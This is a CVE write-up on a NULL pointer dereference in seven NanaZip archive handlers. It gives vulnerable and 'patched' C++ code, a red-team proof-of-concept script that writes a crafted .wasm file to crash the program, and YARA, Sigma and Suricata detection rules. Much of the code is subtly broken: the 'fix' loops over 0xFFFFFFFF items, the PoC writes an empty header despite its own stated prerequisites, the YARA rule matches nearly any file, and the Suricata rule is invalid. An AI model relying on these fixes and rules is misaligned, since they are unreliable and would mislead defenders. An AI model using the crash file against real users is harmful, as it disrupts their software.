CVE-2026-55783

Executive Summary

CVE-2026-55783 is a critical NULL pointer dereference vulnerability in NanaZip, a modern 7-Zip derivative for Windows. The flaw resides in seven in-house archive handlers (WebAssembly, ElectronAsar, Zealfs, Romfs, Ufs, Littlefs, and DotNetSingleFile) within the NanaZip.Codecs component. When the archive engine signals an "extract everything" operation by passing Indices as NULL and NumItems as 0xFFFFFFFF, the handlers unconditionally dereference the caller-supplied Indices array, leading to a process crash. This vulnerability can be triggered via the standard "Test archive" or "Extract all" functionality, making it a denial-of-service (DoS) risk. The issue is patched in NanaZip version 6.5.1749.0.

Supply Chain & Package Security

NanaZip is distributed as a Windows application via GitHub releases and the Microsoft Store. The vulnerable code is part of the core binary distribution. Users should verify they are running version 6.5.1749.0 or later. No package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Calculated: 5.5 (Medium)

Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Threat Level: Medium. While the impact is limited to DoS, the low complexity and user interaction requirement make it a viable attack vector for disrupting NanaZip users.

Deep Dive & Mechanics

The vulnerability is a classic NULL pointer dereference (CWE-476) in the Extract method of seven custom IInArchive handlers. In the 7-Zip framework, when the user selects "Extract All" or "Test Archive", the archive engine calls the handler's Extract method with Indices set to NULL and NumItems set to 0xFFFFFFFF to indicate all items should be processed. The vulnerable handlers fail to check for this sentinel value and directly dereference Indices, causing a crash.

Affected Handlers:

• WebAssembly (.wasm)
• ElectronAsar (.asar)
• Zealfs (.zeal)
• Romfs (.romfs)
• Ufs (.ufs)
• Littlefs (.lfs)
• DotNetSingleFile (.dll or single-file .NET apps)

Root Cause: The Extract method in each handler contains code similar to:

for (UInt32 i = 0; i < numItems; i++) {
    UInt32 index = indices[i]; // NULL dereference when indices == NULL
    // ... process item
}

The fix adds a check for the NULL sentinel:

if (indices == NULL && numItems == 0xFFFFFFFF) {
    // Process all items
    for (UInt32 i = 0; i < numItems; i++) {
        // Use i as index
    }
} else {
    // Process specific indices
    for (UInt32 i = 0; i < numItems; i++) {
        UInt32 index = indices[i];
        // ...
    }
}

Vulnerable vs. Patched Code

Vulnerable Code (pre-6.5.1749.0):

// In each handler's Extract method
STDMETHODIMP CWebAssemblyHandler::Extract(const UInt32 *indices, UInt32 numItems, Int32 testMode, IArchiveExtractCallback *extractCallback)
{
    // No check for NULL indices
    for (UInt32 i = 0; i < numItems; i++)
    {
        UInt32 index = indices[i]; // CRASH: NULL pointer dereference
        // ... process item
    }
    return S_OK;
}

Patched Code (6.5.1749.0+):

STDMETHODIMP CWebAssemblyHandler::Extract(const UInt32 *indices, UInt32 numItems, Int32 testMode, IArchiveExtractCallback *extractCallback)
{
    if (indices == NULL && numItems == 0xFFFFFFFF)
    {
        // Extract all items
        for (UInt32 i = 0; i < numItems; i++)
        {
            // Use i as index directly
            // ... process item
        }
    }
    else
    {
        // Extract specific items
        for (UInt32 i = 0; i < numItems; i++)
        {
            UInt32 index = indices[i];
            // ... process item
        }
    }
    return S_OK;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• NanaZip version < 6.5.1749.0 installed on a Windows system.
• Ability to deliver a crafted archive to the target.

Exploitation Steps:

1. Create a malicious archive using one of the affected formats (e.g., WebAssembly .wasm). The archive must contain at least one file.
2. Deliver the archive to the target via email, download, or other means.
3. When the target opens the archive in NanaZip and selects "Test Archive" or "Extract All", the application will crash due to the NULL pointer dereference.

Proof-of-Concept (PoC) Script:

# PoC: Create a minimal WebAssembly archive that triggers the crash
import struct

def create_malicious_wasm():
    # Minimal WebAssembly binary (just a module header)
    wasm_header = b'\x00\x61\x73\x6d'  # Magic number
    wasm_version = struct.pack('<I', 1)
    # No sections, just header
    return wasm_header + wasm_version

with open('malicious.wasm', 'wb') as f:
    f.write(create_malicious_wasm())
print("Created malicious.wasm - open in NanaZip and select 'Test Archive'")

Expected Outcome: NanaZip crashes immediately upon attempting to test or extract the archive.

Blue Team (Defense & Detection)

Detection:

• Monitor for NanaZip process crashes (Event ID 1000 in Windows Application Event Log).
• Look for attempts to open archives with unusual or malformed headers.
• Use file integrity monitoring to detect delivery of suspicious .wasm, .asar, .zeal, .romfs, .ufs, .lfs, or single-file .dll archives.

Mitigation:

• Update NanaZip to version 6.5.1749.0 or later.
• If update is not possible, disable or remove the affected archive handlers by modifying the NanaZip configuration (if supported).
• Implement application whitelisting to prevent NanaZip from running if it is not the patched version.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2026_55783_NanaZip_NULL_Deref {
    meta:
        description = "Detects crafted archives targeting CVE-2026-55783 in NanaZip"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-55783"
        hash = "unknown"
    strings:
        $wasm_magic = { 00 61 73 6D }  // WebAssembly magic
        $asar_magic = { 00 00 00 00 }  // ElectronAsar (placeholder)
        $zeal_magic = { 5A 65 61 6C }  // Zealfs "Zeal"
        $romfs_magic = { 2D 72 6F 6D } // Romfs "-rom"
        $ufs_magic = { 55 46 53 00 }   // Ufs "UFS\0"
        $lfs_magic = { 4C 69 74 74 }   // Littlefs "Litt"
        $dotnet_magic = { 4D 5A 90 00 } // DotNetSingleFile (PE header)
    condition:
        any of ($wasm_magic, $asar_magic, $zeal_magic, $romfs_magic, $ufs_magic, $lfs_magic, $dotnet_magic)
}

Sigma Rule

title: NanaZip Crash Due to CVE-2026-55783
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects NanaZip process crashes caused by NULL pointer dereference in archive handlers.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55783
author: Valters IT
date: 2026-01-01
logsource:
    product: windows
    service: application
detection:
    selection:
        EventID: 1000
        ApplicationName: 'NanaZip.exe'
        FaultingModule: 'NanaZip.Codecs.dll'
    condition: selection
falsepositives:
    - Legitimate crashes due to other bugs
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-55783 NanaZip Malicious Archive Download"; flow:to_client; fileext:"wasm" OR fileext:"asar" OR fileext:"zeal" OR fileext:"romfs" OR fileext:"ufs" OR fileext:"lfs" OR fileext:"dll"; content:"|00 61 73 6D|" OR content:"|00 00 00 00|" OR content:"|5A 65 61 6C|" OR content:"|2D 72 6F 6D|" OR content:"|55 46 53 00|" OR content:"|4C 69 74 74|" OR content:"|4D 5A 90 00|"; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update NanaZip to version 6.5.1749.0 or later from the official GitHub repository or Microsoft Store.
2. If update is not possible, avoid opening archives of the affected formats from untrusted sources.
3. Implement application whitelisting to block vulnerable versions of NanaZip.

Long-Term Measures:

• Enable automatic updates for NanaZip.
• Educate users about the risks of opening archives from unknown sources.
• Monitor for new CVEs related to NanaZip and apply patches promptly.

Workaround:

• Disable the affected archive handlers by removing or renaming the corresponding DLL files (e.g., NanaZip.Codecs.dll) if the application allows it. Note: This may break functionality for legitimate archives.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2026-55783